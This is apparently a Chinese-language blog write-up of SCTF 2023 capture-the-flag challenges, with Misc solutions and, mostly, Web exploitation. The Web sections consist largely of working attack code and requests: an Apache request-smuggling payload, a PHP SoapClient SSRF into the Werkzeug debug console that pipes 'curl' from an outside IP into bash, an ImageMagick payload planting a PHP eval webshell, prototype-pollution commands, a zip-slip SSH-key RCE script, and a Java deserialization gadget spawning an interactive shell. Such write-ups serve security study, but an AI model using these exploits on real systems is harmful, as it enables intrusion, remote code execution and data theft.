SCTF 2023
本文最后更新于 159 天前,其中的信息可能已经有所发展或是发生改变。

Misc

signin

  • 存在flag文件flag文件夹,改个名解压

Genshin Impact

  • mqtt流量中有个BV.png
    • BV1DW4y1R7qW
  • 看一眼视频
  • 换表base64
    • 3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5
    • 197370563
  • 米游社
    • https://www.miyoushe.com/ys/accountCenter/postList?id=197370563

bittorrent

  • dnt.dat为aria2的配置文件之一
  • 根据文件结构,ipv4是会有一个字节的6,然后6个字节的ip+port
    • https://aria2.github.io/manual/en/html/technical-notes.html#dht-routing-table-file-format
import socket   
import libnum

f = open("dht.dat","rb").read()
fw = open("ip.txt","w")
pos = 56 + 8
while(pos < len(f)):
    ip = f[pos:pos+4]
    port = f[pos+4:pos+6]
    pos += 56
    fw.write(socket.inet_ntoa(ip) + ":" + str(libnum.s2n(port)) + "\n")
  • 发现159.138.22.50:6969存在web服务
可恶
  • trackers种子服务器路径一般都带上announce
  • 密码为最后一次修改dht.dat的时间,直接爆破省事
  • 得到flag.torrent
  • 对分块进行爆破
import hashlib
import string

c = ["284F3E527B475C0DCBE1A7AED94CE31539131545","E4AF700F9921ED71C190316CD5564F8CE1303F94","B4AA9BC1E62E19828A370C50A4CFF71BD9736BB4","AD2AF979ABD26A0A35CCA0218F32277D01B7F7D3","F9CCF51238CBEE2EE8282F28FF1A526A8A39D8E4","89B4EBDC6413BEC34138A3B63F23671932EA5696","9329C7181085B1D6484E4FBC826FB3C25CA25F32","AB4400A33C16525C50A2E6DDA8C05EACD5B3D7F0","386B00CD1573492BF3DD76DA57EB73759C7DE8E1","9DE01D0BC2F7B7440B99E96DAAF372F93E53B140"]
alphabet = string.printable
d = []
for i in range(10):
    d.append("")

for i in alphabet:
    print(i)
    for j in alphabet:
        for k in alphabet:
            for h in alphabet:
                str1 = i.encode() + j.encode() + k.encode() + h.encode()
                des = hashlib.sha1(str1).hexdigest().upper()
                if(des in c):
                    print(str1)
                    d[c.index(des)] = str1

print(d)
print(b"".join(d))

Web

ezcheckin

  • Apache 2.4.55 走私漏洞
    • https://github.com/dhmosfunk/CVE-2023-25690-POC/tree/main/lab
  • 通过内网服务带出flag
/2023/a%20HTTP/1.1%0d%0aHost:%20a%0d%0a%0d%0aPOST%20/2022.php%3furl=jbnrz.com.cn:8000/

pypyp?

  • php 获取原生类
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
} 
  • 源代码中包含session_start(),将自动生成sess_xxxx文件;不存在session_start()时可以通过PHP_SESSION_UPLOAD_PROGRESS强制session_start

session_start

<?php
echo "test"; 
?>

session_start

<?php 
session_start();
echo "test";
?>

通过PHP_SESSION_UPLOAD_PROGRESS强制session_start,注意为POST

<?php 
echo "test"; 
?>
  • 回到本题,直接访问http://115.239.215.75:8081/
Session not started
  • 添加session
POST / HTTP/1.1
Host: 115.239.215.75:8081
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=JBNRZ
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3wRkBuO1AXkzMQUZ
Connection: close
Content-Length: 393
 
------WebKitFormBoundary3wRkBuO1AXkzMQUZ
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
 
rz
------WebKitFormBoundary3wRkBuO1AXkzMQUZ
<?php
    error_reporting(0);
    if(!isset($_SESSION)){
        die('Session not started');
    }
    highlight_file(__FILE__);
    $type = $_SESSION['type'];
    $properties = $_SESSION['properties'];
    echo urlencode($_POST['data']);
    extract(unserialize($_POST['data']));
    if(is_string($properties)&&unserialize(urldecode($properties))){
    $object = unserialize(urldecode($properties));
    $object -> sctf();
    exit();
    } else if(is_array($properties)){
        $object = new $type($properties[0],$properties[1]);
    } else {
        $object = file_get_contents('http://127.0.0.1:5000/'.$properties);
    }
    echo "this is the object: $object <br>";

?>
  • 根据题目提示,关注/app/app.py;根据源代码,需要通过new $type($properties[0],$properties[1])获取文件内容,已知类:SplFileObject
class SplFileObject extends SplFileInfo implements RecursiveIterator, SeekableIterator {
/* 常量 */
public const int DROP_NEW_LINE;
public const int READ_AHEAD;
public const int SKIP_EMPTY;
public const int READ_CSV;
/* 方法 */
public __construct(
    string $filename,
    string $mode = "r",
    bool $useIncludePath = false,
    ?resource $context = null
)
public current(): string|array|false
public eof(): bool
public fflush(): bool
public fgetc(): string|false
public fgetcsv(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): array|false
public fgets(): string
public fgetss(string $allowable_tags = ?): string
public flock(int $operation, int &$wouldBlock = null): bool
public fpassthru(): int
public fputcsv(
    array $fields,
    string $separator = ",",
    string $enclosure = "\"",
    string $escape = "\\",
    string $eol = "\n"
): int|false
public fread(int $length): string|false
public fscanf(string $format, mixed &...$vars): array|int|null
public fseek(int $offset, int $whence = SEEK_SET): int
public fstat(): array
public ftell(): int|false
public ftruncate(int $size): bool
public fwrite(string $data, int $length = 0): int|false
public getChildren(): null
public getCsvControl(): array
public getFlags(): int
public getMaxLineLen(): int
public hasChildren(): false
public key(): int
public next(): void
public rewind(): void
public seek(int $line): void
public setCsvControl(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): void
public setFlags(int $flags): void
public setMaxLineLen(int $maxLength): void
public __toString(): string
public valid(): bool
/* 继承的方法 */
public SplFileInfo::getATime(): int|false
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false
public SplFileInfo::getExtension(): string
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): string
public SplFileInfo::getGroup(): int|false
public SplFileInfo::getInode(): int|false
public SplFileInfo::getLinkTarget(): string|false
public SplFileInfo::getMTime(): int|false
public SplFileInfo::getOwner(): int|false
public SplFileInfo::getPath(): string
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): string
public SplFileInfo::getPerms(): int|false
public SplFileInfo::getRealPath(): string|false
public SplFileInfo::getSize(): int|false
public SplFileInfo::getType(): string|false
public SplFileInfo::isDir(): bool
public SplFileInfo::isExecutable(): bool
public SplFileInfo::isFile(): bool
public SplFileInfo::isLink(): bool
public SplFileInfo::isReadable(): bool
public SplFileInfo::isWritable(): bool
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}

// example

<?php

$a = new SplFileObject("php://filter/read=convert.base64-encode/resource=index.php", "r");
echo $a;
?>
  • 构建session
<?php
$a = array(
    "php://filter/read=convert.base64-encode/resource=/app/app.py",
    "r",
);
$sess = array(
    "type" => "SplFileObject",
    "properties" => $a
);
echo serialize($sess);

// a:2:{s:4:"type";s:13:"SplFileObject";s:10:"properties";a:2:{i:0;s:60:"php://filter/read=convert.base64-encode/resource=/app/app.py";i:1;s:1:"r";}}
  • 读取/app/app.py,注意格式,每个Content-Disposition必须空一行才能传递正文
POST / HTTP/1.1
Host: 115.239.215.75:8081
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=JBNRZ
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3wRkBuO1AXkzMQUZ
Connection: close
Content-Length: 393

------WebKitFormBoundary3wRkBuO1AXkzMQUZ
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

rz
------WebKitFormBoundary3wRkBuO1AXkzMQUZ
Content-Disposition: form-data; name="data"

a:2:{s:4:"type";s:13:"SplFileObject";s:10:"properties";a:2:{i:0;s:60:"php://filter/read=convert.base64-encode/resource=/app/app.py";i:1;s:1:"r";}}
------WebKitFormBoundary3wRkBuO1AXkzMQUZ
  • app.py
from flask import Flask

app = Flask(__name__)

@app.route('/')
def index():
    return 'Hello World!'

if __name__ == '__main__':
    app.run(host="0.0.0.0",debug=True)
  • flask mode = DEBUG,计算一下pin
  • 通过原生类:GlobIterator获取werkzeug/debug/__init__.py具体位置,方便计算pin
<?php 

$a = new GlobIterator("/*");
echo $a->next();
  • /usr/lib/python3.8/site-packages/werkzeug/debug/__init__.py
def get_machine_id() -> str | bytes | None:
    global _machine_id

    if _machine_id is not None:
        return _machine_id

    def _generate() -> str | bytes | None:
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue

            if value:
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:
            pass

        if linux:
            return linux

        # On OS X, use ioreg to get the computer's serial number.
        try:
            # subprocess may not be available, e.g. Google App Engine
            # https://github.com/pallets/werkzeug/issues/925
            from subprocess import Popen, PIPE

            dump = Popen(
                ["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
            ).communicate()[0]
            match = re.search(b'"serial-number" = <([^>]+)', dump)

            if match is not None:
                return match.group(1)
        except (OSError, ImportError):
            pass

        # On Windows, use winreg to get the machine guid.
        if sys.platform == "win32":
            import winreg

            try:
                with winreg.OpenKey(
                    winreg.HKEY_LOCAL_MACHINE,
                    "SOFTWARE\\Microsoft\\Cryptography",
                    0,
                    winreg.KEY_READ | winreg.KEY_WOW64_64KEY,
                ) as rk:
                    guid: str | bytes
                    guid_type: int
                    guid, guid_type = winreg.QueryValueEx(rk, "MachineGuid")

                    if guid_type == winreg.REG_SZ:
                        return guid.encode("utf-8")

                    return guid
            except OSError:
                pass

        return None

    _machine_id = _generate()
    return _machine_id


def get_pin_and_cookie_name(
    app: WSGIApplication,
) -> tuple[str, str] | tuple[None, None]:
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdecimal():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
    username: str | None

    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name
  • /etc/passwd
app:x:1001:1001::/home/app:/bin/ash
  • MAC;/sys/class/net/eth0/address
str(int("02:42:ac:13:00:02".replace(":", ""), 16))
  • MachineID;/proc/sys/kernel/random/boot_id + /proc/self/cgroup
349b3354-f67f-4438-b395-4fbc01171fdd96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
  • 计算脚本
import hashlib
from itertools import chain

def get_pin_and_cookie_name():
    rv = None
    num = None

    probably_public_bits = [
        "app",
        "flask.app",
        "Flask",
        "/usr/lib/python3.8/site-packages/flask/app.py",
    ]
    
    private_bits = [str(int("02:42:ac:13:00:02".replace(":", ""), 16)), "349b3354-f67f-4438-b395-4fbc01171fdd96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687"]

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    print(rv, cookie_name)


get_pin_and_cookie_name()

# 121-260-582 __wzdb2a60e2b19822632a67c
  • 计算flask cookie
def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]

# Cookie: {cookie_name}={time()}|{hash_pin(pin)}
# hash_pin = 11b8517fb9fb
  • 通过file_get_content获取Secret
<?php
$a=array("properties" => "/console");
echo serialize($a);
  • 此时通过php原生类SoapClient构造请求,已知SoapClient在访问不存在方法时将自动调用__call(),并发送请求,通过curl反弹shell
    • 修改php.iniextension=soap
此处将触发访问
<?php
$URL='http://127.0.0.1:5000/console?&__debugger__=yes&cmd=__import__(%22os%22).popen(%22curl%20http://123.139.136.51:8000/|bash%22).read()&frm=0&s=DhOJxtvMXCtezvKtqaK9';
$COOKIE='__wzdb2a60e2b19822632a67c=1687319875|11b8517fb9fb';
$post_string = 'data=JBNRZ';
$headers = array(
    'Cookie: '.$COOKIE
    );

$properties = array(
    'location' => $URL,
    'user_agent' => '114^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,
    'uri' => "aaab"
);


$properties = new SoapClient(null, $properties);
$properties = (serialize($properties));
$properties = str_replace('^^',"\r\n",$properties);
$properties = str_replace('&','&',$properties);
$properties = urlencode(($properties));
$a = array(
    "type" => "SoapClient",
    "properties" => $properties
    );

$ser = serialize($a);
echo $ser;
  • 最后suid提权,curl flie:///flag
curl file:///flag
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    30  100    30    0     0  2441k      0 --:--:-- --:--:-- --:--:-- 2441k
SCTF{i_have_n0_t1me!GGGGGGGGG}

太菜了,复现都花了4个多小时

  • python 代替 bp 脚本
from io import StringIO
import requests


rs = requests.Session()

resp = rs.post(
    "127.0.0.1:8080",
    cookies={"PHPSESSID": "JBNRZ"},
    data={
        "data": """a:1:{s:10:"properties";s:8:"/console";}""",
        "PHP_SESSION_UPLOAD_PROGRESS": "rz"
    },
    files={"rubbish": (StringIO("rubbish"))},
)

fumo_backdoor

  • 参考
    • https://github.com/AFKL-CUIT/CTF-Challenges/blob/master/CISCN/2022/backdoor/writup/writup.md
    • https://github.com/ImageMagick/ImageMagick/blob/main/www/formats.html
    • https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
  • 主要流程:通过session解析触发__sleep(),通过imageick扩展进行读取文件与写文件操作
  • 本地启动时改改Dockerfile,其中pecl install imageick需要点儿科学;再处理一下index.php增加一些调试信息
  • 写入session
<?php
class fumo_backdoor {}
$a = new fumo_backdoor();
$a -> argv = "vid:msl:/tmp/php*";
$a -> class = "Imagick";
echo serialize($a);
?>
<?php
class fumo_backdoor {}
$a = new fumo_backdoor();
$a -> path = "/tmp/jbnrz" // 想要读取的文件位置
echo serialize($a);
from base64 import b64encode

a = b'P6\n9 9\n255\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00<?php eval($_GET[1]);?>|O:13:"fumo_backdoor":1:{s:4:"path";s:10:"/tmp/jbnrz";}'
print(b64encode(a).decode())
POST /?cmd=unserialze&data=O:13:"fumo_backdoor":2:{s:4:"argv";s:17:"vid:msl:/tmp/php*";s:5:"class";s:7:"Imagick";} HTTP/1.1
Host: 10.233.2.11:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=------------------------c32aaddf3d8fd979
Content-Length: 708

--------------------------c32aaddf3d8fd979
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8P3BocCBldmFsKCRfR0VUWzFdKTs/PnxPOjEzOiJmdW1vX2JhY2tkb29yIjoxOntzOjQ6InBhdGgiO3M6MTA6Ii90bXAvamJucnoiO30=" />
 <write filename="/tmp/sess_JBNRZ" />
</image>
--------------------------c32aaddf3d8fd979--
session 被写入
  • 读取flag,写入/tmp/jbnrz
POST /?cmd=unserialze&data=O:13:"fumo_backdoor":2:{s:4:"argv";s:17:"vid:msl:/tmp/php*";s:5:"class";s:7:"Imagick";} HTTP/1.1
Host: 10.233.2.11:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=------------------------b2fa911beb0df7b1
Content-Length: 314

--------------------------b2fa911beb0df7b1
Content-Disposition: form-data; name="aa"; filename="aa"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="uyvy:/flag"/>
 <write filename="/tmp/jbnrz"/>
</image>
--------------------------b2fa911beb0df7b1--
  • 触发session反序列化,读取flag
GET /?cmd=unserialze&data=O:13:"fumo_backdoor":1:{s:4:"func";s:13:"session_start";} HTTP/1.1
Host: 10.233.2.11:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Cookie: PHPSESSID=JBNRZ

  • flag

很不理解,本地的docker最后一步打不通,好在环境还没关

不会的Web

WriteUp from: https://blog.wm-team.cn/index.php/archives/38/

an4er_monitor

  • 原型污染
  • socketPath访问本地unix socket(高版本nodejs不行)
  • http method设置为SET 执行SET IsAdminSession HTTP/1.1
  • 触发一次 check
  • getflag
SERVER_ADDR="http://61.147.171.105:55252"
curl "${SERVER_ADDR}/api/server/import?urls.123=1.1.1.1"
curl "${SERVER_ADDR}/api/server/import?__proto__.socketPath=/run/redis/redis.sock&__proto__.setHost=&__proto__.method=SET&"
curl "${SERVER_ADDR}/api/server/check?hostname=1.1.1.1&port=undefined&path=IsAdminSession"
curl "${SERVER_ADDR}/api/server/getflag"

SycServer

  • 反编译 或者 GIN_MODE=debug ./main运行得到路由列表
    • /file-unarchiver 解压zip
    • /readfile?file= 读文件
    • /readir 列出/tmp目录
    • /admin 对127.0.0.1:2221进行ssh访问
  • /file-unarchiver 解压zip
  • /readfile?file= 读文件
  • /readir 列出/tmp目录
  • /admin 对127.0.0.1:2221进行ssh访问
command="CMD" ssh-rsa XXXXX xxxxx
  • /admin rce
  • /flag只能root读取 /usr/bin/coreutils有suid 因此直接cat /flag就行
from makezip import makezip
import os,sys,requests

requests = requests.Session()

SERVER_ADDR  = "http://159.138.131.31:8888"
def rce(cmd):
    cmd = cmd + " > /home/vanzy/114 2>&1"
    print(cmd)
    requests.post(SERVER_ADDR + "/file-unarchiver", files={"file": ('aaa',makezip(cmd))})
    requests.get(SERVER_ADDR + "/admin")
    resp = requests.get(SERVER_ADDR + "/readfile?file=/home/vanzy/114")
    print(resp.text)

while 1:
    command = input("$ ")
    rce(command)

import sys
import os
# 自行做一个ssh key 替换XXXX
def makezip(cmd):
    aktpl = '''command="CMD" ssh-rsa XXXXXX XXX
    '''

    ak = aktpl.replace('CMD', cmd)

    idrsatpl = '''-----BEGIN OPENSSH PRIVATE KEY-----
XXXXXX
-----END OPENSSH PRIVATE KEY-----
'''

    idrsa = idrsatpl

    os.system("mkdir /tmp/pack")
    os.chdir("/tmp/pack")
    os.system("rm -rf /tmp/pack/*")
    with open("./BBAhomeAvanzyA.sshAid_rsa","w") as file:
        file.write(idrsa)

    with open("./BBAhomeAvanzyA.sshAauthorized_keys","w") as file:
        file.write(ak)
    os.system("chmod 700 *")
    os.system("zip -u a.zip *")
    with open("./a.zip","rb") as file:
        data = file.read()
    data = data.replace(b"BBAhomeAvanzyA.sshA",b"../home/vanzy/.ssh/")
    with open("./a.zip","wb") as file:
        file.write(data)
    return data
    #os.system("cp a.zip /mnt/e/events/sctf2023/web_SycServer/ziptest")

if __name__ == "__main__":
    makezip(sys.argv[1])

hellojava

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;
public class calc extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("bash -c {echo,xxx}|{base64,-d}|{bash,-i}");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}
import com.Sctf.bean.Hello;
import com.Sctf.bean.MyBean;
import com.Sctf.controller.NoObjectInputStream;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.NotFoundException;
import scala.collection.immutable.LazyList;

import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;

public class exp {
    public static void setFieldValue(Object object, String fieldName, Object value) {
        try {
            Field field = object.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(object, value);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NotFoundException, CannotCompileException {
       TemplatesImpl obj = new TemplatesImpl();
        byte[] bytes1 = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
        byte[][] bytecode = new byte[][]{bytes1};
        setFieldValue(obj, "_bytecodes",bytecode);
        setFieldValue(obj, "_name", "Guoke");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(obj, "_sdom", new ThreadLocal());
        POJONode a = new POJONode(obj);
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);

        XString xString = new XString("xx");
        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy", a);
        map1.put("zZ", xString);
        map2.put("yy", xString);
        map2.put("zZ", a);


        Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));

        setFieldValue(s, "table", tbl);

        ByteArrayOutputStream bytes = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(bytes);
        objectOutputStream.writeObject(s);
        byte[] output = Base64.getEncoder().encode(bytes.toByteArray());

        InputStream inputStream = new ByteArrayInputStream(java.util.Base64.getDecoder().decode(output));
        System.out.println(new String(output));
        NoObjectInputStream NoInputStream = new NoObjectInputStream(inputStream);
        Object obj1 = NoInputStream.readObject();

    }
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇